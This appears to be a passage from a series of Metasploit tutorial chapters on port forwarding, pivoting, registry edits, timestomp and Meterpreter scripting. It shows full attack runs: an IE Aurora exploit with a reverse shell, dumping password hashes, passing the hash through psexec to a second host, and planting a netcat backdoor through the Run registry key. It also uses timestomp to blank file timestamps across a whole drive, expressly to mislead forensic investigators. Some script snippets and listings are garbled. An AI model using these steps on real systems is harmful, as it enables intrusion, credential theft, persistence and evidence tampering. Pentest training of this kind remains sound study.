-l >opt> The local port to listen on.
-p >opt> The remote port to connect on.
-r >opt> The remote host to connect on.
meterpreter >
Options
-L: Indicates the IP address of our own computer that we will be listening to. You can leave this option out if your computer does not have more than one network card. By default, 0.0.0.0 will be used for localhost.
-h: Displays the help information.
-l: Indicates the port number that we will listen on our local computer.
-p: Indicates the port number of the target computer.
-r: Indicates the IP address of the target computer.
Arguments
Add: Used to add a new redirect.
Delete: Used to delete an existing redirect.
List: Used to display a list of all currently redirected addresses.
Flush: Used to cancel all active redirects.
Adding a Redirect
The command that we will give while we are on the pivot computer where we opened the Meterpreter shell session is in the following format.
We can perform the active redirects with the portfwd list command.
meterpreter > portfwd list
0: 0.0.0.0:3389 -> 172.16.194.191:3389
1: 0.0.0.0:1337 -> 172.16.194.191:1337
2: 0.0.0.0:2222 -> 172.16.194.191:2222
3 total local port forwards.
meterpreter >
Clearing All Forwards
We can cancel all forwards that are active in the system with the portfwd flush command.
meterpreter > portfwd flush
> Successfully stopped TCP relay on 0.0.0.0:3389
> Successfully stopped TCP relay on 0.0.0.0:1337
> Successfully stopped TCP relay on 0.0.0.0:2222
> Successfully flushed 3 rules
meterpreter > portfwd list
0 total local port forwards
meterpreter >
Example
Below you can find an example scenario.
Target Computer
As seen in the command output below, the target computer has the IP address 172.16.194.141.
C:\> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 3:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . 172.16.194.141
Subnet Mask. . . . . . . . . . 255.255.255.0
Default Gateway. . . . . . . . . 172.16.194.2
C:\>
Pivot Computer
Pivot computer can connect to both 172.16.194.0/24 network and 192.168.1.0/24 network as seen in the output below. On our local computer it is on the network 192.168.1.0/24.
As a result of the guidance you will see below We can see that our local computer (IP number 192.168.1.162) can send a ping signal to the IP address 172.16.194.141 via the pivot machine.
root@kali:~# ifconfig eth1
eth1 Link encap:Ethernet HWaddr 0a:0b:0c:0d:0e:0f
inet addr:192.168.1.162 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fed6:ab38/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1357685 errors:0 dropped:0 overruns:0 frame:0
TX packets:823428 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:318385612 (303.6 MiB) TX bytes:133752114 (127.5 MiB) Interrupt:19 Base address:0x2000
root@kali:~# ping 172.16.194.141
PING 172.16.194.141 (172.16.194.141) 56(84) bytes of data.
64 bytes from 172.16.194.141: icmp_req=1ttl=128time=240 ms
64 bytes from 172.16.194.141: icmp_req=2ttl=128time=117 ms
64 bytes from 172.16.194.141: icmp_req=3ttl=128time=119 ms
^C
--- 172.16.194.141 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 117.759/159.378/240.587/57.430 ms
root@kali:~#
So how did we achieve this communication?
Let’s Do Redirection
We performed the following redirection process while we were inside the meterpreter shell that we opened on the pivot computer.
After giving the redirection command on the pivot computer, you can check that we are listening on port 3389 with the netstat -antp command on our local computer.
root@kali:~# netstat -antp
Active Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 0.0.0.0:22 0.0.0.0:***** LISTEN 8397/sshd
.....
tcp 00 0.0.0.0:3389 0.0.0.0:***** LISTEN 2045/.ruby.bin
.....
tcp6 00 :::22 :::***** LISTEN 8397/sshd
root@kali:~#
In this case, we can open a rdesktop remote desktop connection from our local computer to the target computer or perform other operations.
For example, we can use the exploit/windows/smb/ms08_067_netapi module. We can use the variables in this module by entering the IP address and port number of the target computer that we reached as a result of the redirection.
You may think that the subject is a bit confusing. I recommend that you do some testing and training.
Think of it this way, we open the meterpreter shell on the pivot machine to reach the target computer. We first redirect to the service that is active on the other IP address that the pivot computer can communicate with (for example SAMBA, port 445). Then we can connect to the target computer from our local computer.
You should be careful to redirect the correct IP and port numbers.
33 - MSF Pivoting
Pivoting is using a compromised system to attack other systems on the same network. This article explains how to use Metasploit Framework for pivoting.
What is Pivoting?
Let’s assume that you have opened a meterpreter shell session on a system. The system you are logged in to may not be a fully authorized computer on the network. Using this first logged in system as a springboard and accessing other computers on the same network is called pivoting. You may also come across another terminology called beachhead or entry point.
You have the chance to access servers or network systems that normally do not have direct access using pivoting. In the scenario we will examine below, we will try to reach another computer using the network connections of a computer that has opened the meterpreter shell. While doing this, we will benefit from the routing opportunity offered by meterpreter.
1. Let’s Open a Shell on the Computer
Thanks to the exploit/windows/browser/ms10_002_aurora module used here, a session is opened on the computer of the company employee who clicked on a malicious link.
msf > use exploit/windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for **incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for **this exploit (default is random)Exploit target:
Id Name
-- ----
0 automatic
msf exploit(ms10_002_aurora) > set URIPATH /
URIPATH=> /
msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD=> windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > set LHOST 192.168.1.101
LHOST=> 192.168.1.101
msf exploit(ms10_002_aurora) > exploit -j
> Exploit running as background job.
> Started reverse handler on 192.168.1.101:4444
> Using URL: <a href="http://0.0.0.0:8080/">http://0.0.0.0:8080/</a>
> Local IP: <a href="http://192.168.1.101:8080/">http://192.168.1.101:8080/</a>
> Server started.
msf exploit(ms10_002_aurora) >
You can see the new session opened with the sessions -l command. In the list below, it is seen that a connection is established from our own IP address LHOST: 192.168.1.101 to the other target computer RHOST:192.168.1.201.
msf exploit(ms10_002_aurora) >
> Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.201
> Sending stage (749056 bytes) to 192.168.1.201
> Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.201:8777) at Mon Dec 06 08:22:29 -0700 2010msf exploit(ms10_002_aurora) > sessions -l
active sessions
**===============**
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 XEN-XP-SP2-BARE\Administrator @ XEN-XP-SP2-BARE 192.168.1.101:4444 -> 192.168.1.201:8777
msf exploit(ms10_002_aurora) >
1.Computer Network Cards
Now let’s enter this session and look at the network settings of the target computer with the ipconfig command.
From the IP address of the computer we are logged in to, we understand that the network card we are connected to is the card named Citrix XenServer PV Ethernet Adapter - Packet Scheduler Miniport.
However, there are 2 more cards in the system named
As far as we understand from this information, the IP address of the card named Citrix XenServer PV Ethernet Adapter #2 - Packet Scheduler Miniport is 10.1.13.3. Then we understand that IP addresses in the range of 10.1.13.1-255 are given to those connected to this network. In CIDR format, this is shown as 10.1.13.0/24.
One of the possibilities provided by Meterpreter is the autoroute script code. Let’s view the help about autoroute.
meterpreter > run autoroute -h
> Usage: run autoroute [-r] -s subnet -n netmask
>Examples:
> run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0> run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0> run autoroute -s 10.10.10.1/24 # CIDR notation is also okay> run autoroute -p # Print active routing table> run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route> Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
Now let’s do automatic routing. For this we use the following command.
meterpreter > run autoroute -s 10.1.13.0/24
> Adding a route to 10.1.13.0/255.255.255.0...
[+] Added route to 10.1.13.0/255.255.255.0 via 192.168.1.201
> Use the -p option to list all active routes
Route is done. Let’s check.
meterpreter > run autoroute -p
Active Routing Table
**=====================**
Subnet Netmask Gateway
------ ------- -------
10.1.13.0 255.255.255.0 Session 1meterpreter >
Connection to 2nd Computer
Let’s obtain the hash information with the getsystem command on the first computer. We will try to connect to the 2nd computer using this hash information. Remember that computers on the network perform authorization checks with hash values. You can see the Metasploit Framework
Privilege Escalation article about this technique.
With the following commands, we obtain SYSTEM information with getsystem, we obtain hash information with hashdump and we send the session to the background with CTRL+Z keys.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > run hashdump
> Obtaining the boot key...
> Calculating the hboot key using SYSKEY c2ec80f879c1b5dc8d2b64f1e2c37a45...
> Obtaining the user list and keys...
> Decrypting user keys...
> Dumping password hashes...
Administrator:500:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9a6ae26408b0629ddc621c90c897 b42d:07a59dbe14e2ea9c4792e2f189e2de3a:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ebf9fa44b3204029db5a8a77f5350160:::
victim:1004:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
Background session 1? [y/n]msf exploit(ms10_002_aurora) >
Scanning the 2nd Computer Network
Thanks to routing, we can now communicate with the 2nd computer network. Then let’s scan this network and see if ports 139 and 445 are open. You can also scan all ports if you want. We will scan these two ports just to give an example. We will use the auxiliary/scanner/portscan/tcp module for this scan. Note that we set the RHOSTS variable in the module to RHOSTS 10.1.13.0/24.
msf exploit(ms10_002_aurora) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
VERBOSE false no Display verbose output
msf auxiliary(tcp) > set RHOSTS 10.1.13.0/24
RHOST=> 10.1.13.0/24
msf auxiliary(tcp) > set PORTS 139,445
PORTS=> 139,445
msf auxiliary(tcp) > set THREADS 50THREADS=> 50msf auxiliary(tcp) > run
> 10.1.13.3:139 - TCP OPEN
> 10.1.13.3:445 - TCP OPEN
> 10.1.13.2:445 - TCP OPEN
> 10.1.13.2:139 - TCP OPEN
> Scanned 256 of 256 hosts (100% complete)> Auxiliary module execution completed
msf auxiliary(tcp) >
As a result of the scan, we found 2 IP addresses as 10.1.13.2 and 10.1.13.3. Since the 10.1.13.3 IP address already belongs to our first computer, we will focus on the 10.1.13.2 IP address.
Let’s Make a Connection
We know that port 445 is used for samba network sharing operations. If so, we can use the exploit/windows/smb/psexec module. When making the module settings, note that we entered the Administrator:500:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d hash values obtained from the first computer.
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no The Windows domain to use for **authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 automatic
msf exploit(psexec) > set RHOST 10.1.13.2
RHOST=> 10.1.13.2
msf exploit(psexec) > set SMBUser Administrator
SMBUser=> Administrator
msf exploit(psexec) > set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
SMBPass=> 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
msf exploit(psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD=> windows/meterpreter/bind_tcp
msf exploit(psexec) > exploit
> Connecting to the server...
> Started bind handler
> Authenticating to 10.1.13.2:445|WORKGROUP as user 'Administrator'...
> Uploading payload...
> Created \qNuIKByV.exe...
>Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.1.13.2[\svcctl] ...
> Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.1.13.2[\svcctl] ...
> Obtaining a service manager handle...
> Creating a new service (UOtrbJMd - "MNYR")...
> Closing service handle...
> Opening service...
> Starting the service...
>Removing the service...
> Closing service handle...
> Deleting \qNuIKByV.exe...
> Sending stage (749056 bytes)> Meterpreter session 2 opened (192.168.1.101-192.168.1.201:0 -> 10.1.13.2:4444) at Mon Dec 06 08:56:42 -0700 2010meterpreter >
As you can see, we have established a connection to the second computer. As you can see from the line [*] Meterpreter session 2 opened (192.168.1.101-192.168.1.201:0 -> 10.1.13.2:4444) above, we established this connection by following the route 192.168.1.101-192.168.1.201:0 -> 10.1.13.2:4444.
192.168.1.101: Our own computer
192.168.1.201: The computer used as the pivot
10.1.13.2: The second computer that is accessed.
Let’s look at the ipconfig settings of the second computer.
As you can see, pivoting is a very powerful technique. After accessing any computer in a network, it helps you reach other systems in the network.
34 - MSF Working on Registry
Meterpreter gives us the ability to work on the Windows Registry. In this article, we will examine how to work on the Windows Registry.
Windows Registry Operations
Windows Registry is a magical area where almost all operations are recorded. A single change in this area can give you the necessary authority in the system. On the other hand, a wrong operation can cause the system not to boot again. You need to act carefully and not rush.
Meterpreter, a powerful tool in the Metasploit Framework, provides many commands that allow you to work on the Windows Registry. Let’s take a brief look at them. When you open a Meterpreter shell on a system, you can see the help information by typing the reg command.
meterpreter > reg
Usage: reg [command][options]Interact with the target machine's registry.
OPTIONS:
-d The data to store in the registry value.
-h Help menu.
-k The registry key path (E.g. HKLM\Software\Foo).
-t The registry value type(E.g. REG_SZ).
-v The registry value name (E.g. Stuff).
COMMANDS:
enumkey Enumerate the supplied registry key [-k >key>] createkey Create the supplied registry key [-k >key>] deletekey Delete the supplied registry key [-k >key>] queryclass Queries the class of the supplied key [-k >key>] setval Set a registry value [-k >key> -v >val> -d >data>] deleteval Delete the supplied registry value [-k >key> -v >val>] queryval Queries the data contents of a value [-k >key> -v >val>]
As you can see from the help command, the reg command provides the ability to read (queryval), write (setval), create new settings (createkey), and delete (deletekey) on the Registry.
With these commands, you can create new values, change values, and collect information about the system by looking at the right places. I recommend you to improve yourself about where the value is stored in the system. For an idea, you can check the
PDF file in the link.
Creating a Backdoor on Windows
In this article, we will examine how to create a backdoor on a Windows system using the Registry. We will place the netcat program on the target system. By making changes in the Registry settings, we will set the netcat program to start automatically when the computer is turned on. We will ensure that the Firewall settings allow netcat program and port 445.
Uploading netcat Program nc.exe to the Target System
First of all, let’s upload the netcat program, known as nc.exe, to the target Windows operating system. You must have previously opened a meterpreter shell. We have mentioned examples of this in our previous articles. You can find some useful programs in the /usr/share/windows-binaries/ folder in the Kali operating system.
To run the nc.exe program every time the operating system starts, you must create a value in the Registry key HKLM\software\microsoft\windows\currentversion\run. First, let’s see the current values and settings. Note that the backslash \ characters are written twice.
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run
Values (3):
VMware Tools
VMware User Process
quicktftpserver
As seen in the command output, the VMware Tools, VMware User Process, quicktftpserver software is currently set to start automatically. Let’s add our new setting with the reg setval command and check it again with the reg queryval command.
You can make firewall settings directly from the Registry settings, or you can make firewall settings with the netsh command. Let’s set the firewall settings from the command line to show usage. To do this, let’s enter the Windows command line from the Meterpreter command line.
meterpreter > execute -f cmd -i
Process 1604 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\ >
Let’s see the current state of the Firewall settings.
C:\ > netsh firewall show opmode
Netsh firewall show opmode
Domain profile configuration:
-------------------------------------------------------------------
Operational mode= Enable
Exception mode= Enable
Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode= Enable
Exception mode= Enable
Local Area Connection firewall configuration:
-------------------------------------------------------------------
Operational mode= Enable
Now let’s add the port 445 to the allowed ports.
C:\ > netsh firewall add portopening TCP 445"Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 445"Service Firewall" ENABLE ALL
Ok.
Let’s check if the operation we performed has been successful.
C:\ > netsh firewall show portopening
netsh firewall show portopening
Port configuration for **Domain profile:
Port Protocol Mode Name
-------------------------------------------------------------------
139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP
137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service
Port configuration for **Standard profile:
Port Protocol Mode Name
-------------------------------------------------------------------
445 TCP Enable Service Firewall
139 TCP Enable NetBIOS Session Service
445 TCP Enable SMB over TCP
137 UDP Enable NetBIOS Name Service
138 UDP Enable NetBIOS Datagram Service
C:\ >
Testing the Backdoor
After making the necessary settings, you can restart the target system. When the target system restarts, nc.exe will automatically start and provide external connections. In the example below, it can be seen that the target system can be connected from the outside with the nc command.
root@kali:~# nc -v 172.16.104.128 445172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN)[172.16.104.128]445(?) open
Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\ > dir
dir
Volume **in **drive C has no label.
Volume Serial Number is E423-E726
Directory of C:\
05/03/2009 01:43 AM
.
05/03/2009 01:43 AM
..
05/03/2009 01:26 AM 0;i
05/12/2009 10:53 PM
Desktop
10/29/2008 05:55 PM
Favorites
05/12/2009 10:53 PM
My Documents
05/03/2009 01:43 AM 0 QCY
10/29/2008 03:51 AM
Start Menu
05/03/2009 01:25 AM 0 talltelnet.log
05/03/2009 01:25 AM 0 talltftp.log
4 File(s)0 bytes
6 Dir(s) 35,540,791,296 bytes free
C:\ >
In real situations, it is not so easy to open such a backdoor. However, the logic of the procedures to be applied is as explained above. If you fail to apply the above example exactly, do not despair. Work harder.
35 - MSF Timestomp
In this article, we will examine how to use the timestomp command.
What is TimeStomp?
Pentesting any system requires interacting with that system. With every operation you perform, you leave traces on the target system. Examining these traces attracts the attention of forensics researchers. The timestamps of files are one of them. Meterpreter provides a command called timestomp to clean or at least mix up these traces.
The best way to not leave traces is to not touch the system at all. Meterpreter normally runs on RAM and does not touch the disk. However, as a result of some file operations you perform, time logs will inevitably be created. In this article, we will see how to manipulate the time records of files using the timestomp command.
Each file is kept in 3 different time records for Windows as Modified, Accesed and Changed. We can call these MAC times by their first letters. Do not confuse them with the MAC address of the network card.
Let’s look at the MAC times of a file in Windows.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 5/3/2009 2:30:08 AM
Last Accessed: 5/3/2009 2:31:39 AM
Last Modified: 5/3/2009 2:30:36 AM
Above, we can see the time records of the file named test.txt. Now, let’s assume that we have logged into Meterpreter on this system using the warftpd_165_user module.
msf exploit(warftpd_165_user) > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Connecting to FTP server 172.16.104.145:21...
> Connected to target FTP server.
> Trying target Windows 2000 SP0-SP4 English...
> Transmitting intermediate stager for **over-sized stage...(191 bytes)> Sending stage (2650 bytes)> Sleeping before handling stage...
> Uploading DLL (75787 bytes)...
> Upload completed.
> meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218)meterpreter > use priv
Loading extension priv...success.
After the Meterpreter shell is opened, you can view the help information with the timestomp -h command.
meterpreter > timestomp -h
Usage: timestomp OPTIONS file_path
OPTIONS:
-a Set the "last accessed"time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c Set the "creation"time of the file
-e Set the "mft entry modified"time of the file
-f Set the MACE of attributes equal to the supplied file
-h Help banner
-m Set the "last written"time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z Set all four attributes (MACE) of the file
Now, let’s go to the folder where the test.txt file we gave the example above is located.
meterpreter > pwdC:\Program Files\War-ftpd
meterpreter > cd ..
meterpreter > pwdC:Program Files
meterpreter > cd ..
meterpreter > cd Documents\ and\Settings
meterpreter > cd P0WN3D
meterpreter > cd My\Documents
meterpreter > ls
Listing: C:\Documents and Settings\P0WN3D\My Documents
**==========================================================**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 ..
40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 My Pictures
100666/rw-rw-rw- 28 fil Wed Dec 31 19:00:00 -0500 1969 test.txt
You can view the time information of the test.txt file in the current folder with the -v option.
meterpreter > timestomp test.txt -v
Modified : Sun May 03 04:30:36 -0400 2009Accessed : Sun May 03 04:31:51 -0400 2009Created : Sun May 03 04:30:08 -0400 2009Entry Modified: Sun May 03 04:31:44 -0400 2009
Imagine that you created this file. You may want to change it. Now let’s try to change this time information. The first way to do this is to copy the time information of another file in the system to the test.txt file.
For example, let’s copy the time information of the cmd.exe file to the test.txt time information. To do this, you can execute the following command with the -f option.
meterpreter > timestomp test.txt -f C:\\WINNT\\system32\\cmd.exe
> Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe
meterpreter > timestomp test.txt -v
Modified : Tue Dec 07 08:00:00 -0500 1999Accessed : Sun May 03 05:14:51 -0400 2009Created : Tue Dec 07 08:00:00 -0500 1999Entry Modified: Sun May 03 05:11:16 -0400 2009
The process is completed. Let’s see if it’s actually copied.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 12/7/1999 7:00:00 AM
Last Accessed: 5/3/2009 3:11:16 AM
Last Modified: 12/7/1999 7:00:00 AM
As you can see, the MAC time information of the test.txt file is the same as the cmd.exe file.
If you are a careful user, you may have noticed that when you look at the file from the Windows command line and the Linux command line, the date information is the same, but the time information is different. This difference is due to the difference in the timezone time zones.
It should also be emphasized that the accessed time value of the test.txt file is immediately updated to the new date since we checked the file information. It would be appropriate to emphasize how variable and important time records are for Windows.
Now let’s use a different technique. The -b option offered by timestomp helps you set the time information to be empty. In the example below, you can see the current state of the file and the time information after the timestomp test.txt -b command.
meterpreter > timestomp test.txt -v
Modified : Tue Dec 07 08:00:00 -0500 1999Accessed : Sun May 03 05:16:20 -0400 2009Created : Tue Dec 07 08:00:00 -0500 1999Entry Modified: Sun May 03 05:11:16 -0400 2009meterpreter > timestomp test.txt -b
> Blanking file MACE attributes on test.txt
meterpreter > timestomp test.txt -v
Modified : 2106-02-06 23:28:15 -0700
Accessed : 2106-02-06 23:28:15 -0700
Created : 2106-02-06 23:28:15 -0700
Entry Modified: 2106-02-06 23:28:15 -0700
As you can see, the files have received time information for the year 2106. While this view is like this from the Meterpreter command line, let’s see how it looks in Windows.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 1/1/1601
Last Accessed: 5/3/2009 3:21:13 AM
Last Modified: 1/1/1601
In Linux Meterpreter, the year 2106 is seen as 1601 in Windows. You can examine the reason for this difference on the
Additional information page.
Another Example
Now, let’s create a WINNT\\antivirus\\ folder in Windows from our meterpreter command line and upload a few files into it.
We changed or made the timestamp blank with the methods described above, but careful forensics researchers will notice this oddity.
Instead, you may want to consider changing the timestamp of the entire system. In this case, it will be completely confused as to which file was created or modified and when. Since there is no other file to compare it to, things will get even more complicated.
This situation clearly shows that there is an intervention in the system, and it will make the job of forensics investigators difficult.
Changing the Time Information of the Entire System
meterpreter > pwdC:WINNT\antivirus
meterpreter > cd ../..
meterpreter > pwdC:
meterpreter > ls
Listing: C:\
**=============**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 0 fil Wed Dec 31 19:00:00 -0500 1969 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil Wed Dec 31 19:00:00 -0500 1969 CONFIG.SYS
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 Documents and Settings
100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 IO.SYS
100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 MSDOS.SYS
100555/r-xr-xr-x 34468 fil Wed Dec 31 19:00:00 -0500 1969 <a href="http://ntdetect.com/">NTDETECT.COM</a>
40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 Program Files
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 RECYCLER
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 System Volume Information
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 WINNT
100555/r-xr-xr-x 148992 fil Wed Dec 31 19:00:00 -0500 1969 arcldr.exe
100555/r-xr-xr-x 162816 fil Wed Dec 31 19:00:00 -0500 1969 arcsetup.exe
100666/rw-rw-rw- 192 fil Wed Dec 31 19:00:00 -0500 1969 boot.ini
100444/r--r--r-- 214416 fil Wed Dec 31 19:00:00 -0500 1969 ntldr
100666/rw-rw-rw- 402653184 fil Wed Dec 31 19:00:00 -0500 1969 pagefile.sys
meterpreter > timestomp C:\\ -r
> Blanking directory MACE attributes on C:\
meterpreter > ls
meterpreter > ls
listing: C:\
**============**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 0 elephants 2106-02-06 23:28:15 -0700 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2106-02-06 23:28:15 -0700 CONFIG.SYS
100666/rw-rw-rw- 0 fil 2106-02-06 23:28:15 -0700 Documents and Settings
100444/r--r--r-- 0 elephants 2106-02-06 23:28:15 -0700 IO.SYS
100444/r--r--r-- 0 fil 2106-02-06 23:28:15 -0700 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2106-02-06 23:28:15 -0700 <a href="http://ntdetect.com/">NTDETECT.COM</a>
...snip...
You can see that the timestamp of all files on the C drive has been changed with the timestomp C:\\ -r command.
Smart forensics investigators look in other places than just timestamp. There are several different logging mechanisms within Windows.
36 - MSF Meterpreter Script API Calls
In this article, we will examine the API calls that are constantly used and useful in Meterpreter scripts.
Useful API Calls
In our previous script editing article, we tried to explain the general architectural structure of the script file used in the meterpreter session. In this article, let’s see the API call codes that are constantly used and useful for our business one by one and explain what they do.
You can try these calls by creating your own file, or you can run them directly on the target system using the Ruby entrepreneur with the irb command from within the Meterpreter session. You can start the irb entrepreneur while the meterpreter session is open, as in the example below.
meterpreter > irb
> Starting IRB shell
> The 'client' variable holds the meterpreter client
>
client.sys.config.sysinfo
This command allows us to learn some information about the system. Below, you can see a few examples of the client.sys.config.sysinfo API call.
> client.sys.config.sysinfo
=> {"OS"=>"Windows XP (Build 2600, Service Pack 3).", "Computer"=>"WINXPVM01"}>
As seen in the command output, the information displayed on the screen actually has different subclasses. For example, “OS” and “Computer” are subclasses of this call. If we want, we can also learn only this class information. For this, the call command can be used as follows.
> client.sys.config.sysinfo.class
=> Hash
>
> client.sys.config.sysinfo['OS']=> "Windows XP (Build 2600, Service Pack 3).">
In this article, we will examine how to edit Meterpreter scripts.
Writing Scripts
We briefly saw what the structure of the Meterpreter Script is in our previous two articles. Now, let’s see what the codes return piece by piece. For this, let’s write the “Hello World” ruby code and save it as helloworld.rb in the /usr/share/metasploit-framework/scripts/meterpreter folder.
Let’s run the script code we created while the meterpreter session is open.
meterpreter > run helloworld
> Hello World
meterpreter >
We have run a simple Ruby code in meterpreter. Now let’s add a few API calls to our helloworld.rb file. You can add the following lines using a text editor.
print_error(“this is an error!”)print_line(“this is a line”)
The lines above are an example of standard data entry and error messages. Let’s run the codes we created.
meterpreter > run helloworld
> Hello World
[-] this is an error!
this is a line
meterpreter >
helloworld.rb
Our script code file should finally look like the one below.
print_status("Hello World")print_error("this is an error!")print_line("This is a line")
Now let’s add a function to our code. In this function, we will obtain some basic information and add an error control feature. The structure of the architecture we will create will be as follows.
def geninfo(session)begin
…..
rescue ::Exception => e
…..
end
end
To create this structure, simply edit the file as follows. After making these edits, the content of our helloworld.rb file will be as follows.
def getinfo(session)begin
sysnfo= session.sys.config.sysinfo
runpriv= session.sys.config.getuid
print_status("Getting system information ...")print_status("tThe target machine OS is #{sysnfo['OS']}")print_status("tThe computer name is #{'Computer'} ")print_status("tScript running as #{runpriv}")rescue ::Exception => e
print_error("The following error was encountered #{e}")end
end
Let’s explain step by step what these codes do. First, we defined a function called getinfo(session) that gets the values from the session variable. This session variable contains some methods. The sysnfo = session.sys.config.sysinfo line is used to get system information while runpriv = session.sys.config.getuid is used to get user information. In addition, there is an exception manager that manages error conditions.
helloworld2.rb
Let’s create a helloworld2.rb file by making a small addition to the first file we created. The helloworld2.rb file is the file we just created with the getinfo(client) line added to the end. Let’s add this line and save the file as helloworld2.rb. The final version of the file should be as follows.
def getinfo(session) begin
sysnfo= session.sys.config.sysinfo
runpriv= session.sys.config.getuid
print_status("Getting system information ...") print_status("tThe target machine OS is #{sysnfo['OS']}") print _status("tThe computer name is #{'Computer'} ") print_status("tScript running as #{runpriv}") rescue ::Exception => e
print_error("The following error was encountered #{e}") end
end
getinfo(client)
Now let’s run our helloworld2.rb file in the Meterpreter session.
meterpreter > run helloworld2
> Getting system information ...
> The target machine OS is Windows XP (Build 2600, Service Pack 3).
> The computer name is Computer
> Script running as WINXPVM01labuser
As you can see, we have obtained some system information with the helloworld2.rb script.
helloworld3.rb
After the two sample code files we created above, let’s look at another sample script. You can create this script file with a text editor. Its content should be as follows.
Let’s briefly look at what the above codes do. First, a function named list_exec is defined. This function takes two variables named session and cmdlist. It is understood from the codes that the cmdlist variable is a series of commands with the array method. These commands will be run on the target system via cmd.exe, which will be taken from the variable in order. In order to prevent the system from freezing and becoming unresponsive, session.response_timeout=120 has been defined as a 120-second waiting period. As in the previous script code, there is also an error control line.
The cmdlist array variable actually runs the commands shown below in order.
commands=[ “set”,
“ipconfig /all”,
“arp –a”]
